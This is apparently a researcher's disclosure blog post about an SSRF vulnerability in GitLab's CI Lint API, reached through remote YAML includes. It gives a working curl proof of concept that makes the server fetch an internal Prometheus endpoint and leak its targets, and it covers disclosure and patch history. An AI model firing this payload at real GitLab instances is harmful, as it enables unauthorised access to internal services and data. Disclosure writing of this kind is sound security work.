Meet Gitlab CI Lint API

Purpose of the CI Lint API is to validate CI/CD YAML configuration for Gitlab.

A usual request to this API would validate YAML payload and provide the result accordingly.

curl --header "Content-Type: application/json"  "https://gitlab.example.com/api/v4/ci/lint" --data '{"content": "{ \"image\": \"ruby:2.6\", \"services\": [\"postgres\"], \"before_script\": [\"bundle install\", \"bundle exec rake db:create\"], \"variables\": {\"DB_NAME\": \"postgres\"}, \"types\": [\"test\", \"deploy\", \"notify\"], \"rspec\": { \"script\": \"rake spec\", \"tags\": [\"ruby\", \"postgres\"], \"only\": [\"branches\"]}}"}'

{
  "status": "valid",
  "errors": [],
  "warnings": []
}

Note: prior to this patch, this endpoint did not require any authentication

Meet Remote YAML includes in Gitlab Ci configuration files

CI configuration files for Gitlab are YAML and can use include tag to include YAML templates from remote URLs.

include:
  - 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml'

SSRF!

If you haven’t already figured, include can also point to 192.168.1.1, 127.0.0.1 ..

SSRF proof-of-concept to dump Prometheus targets from the Prometheus API by abusing this vulnerability.

curl -s --show-error -H 'Content-Type: application/json' https://gitlab.example.com/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content": "include:\n  remote: http://127.0.0.1:9090/api/v1/targets?test.yml" }'

{"status":"invalid","errors":["jobs status config should implement a script: or a trigger: keyword","jobs data config should implement a script: or a trigger: keyword","jobs config should contain at least one visible job"],"warnings":[],"merged_yaml":"---\nstatus: success\ndata:\n  activeTargets:\n  - discoveredLabels:\n      __address__: ...

Note: test.yml is essential part of the paylaod becauyse API expects .yml extension for validation of remote YAML file

This is only exploitable if internal network requests are enabled in Gitlab (they are disabled by default). It turns out to be a quite widely enabled option though, as internal requests are useful for webhooks, CI operations.

Disclosure, impact and remediation

I disclosed it in December 2020 and first patch was out in February 2021, second complete patch followed in June recently. Gitlab team was very supportive and responsive as always ❤️ Thank you for the bounties and swag Team Gitlab.

Wide use of the unauthenticated CI Lint API also led to a lot of workflows being disrupted.

I have also disclosed it directly to many affected organizations (universities, open source projects, governments) but vulnerable public facing instances are still out there. I did not initially intend to blog it, but looking at the number of affected instances, I think it might help spread the word.

Update: Patches before December 2021 (version 14.5.2) did not prevent attacks from external Gitlab users.

Please apply latest gitlab security updates ASAP!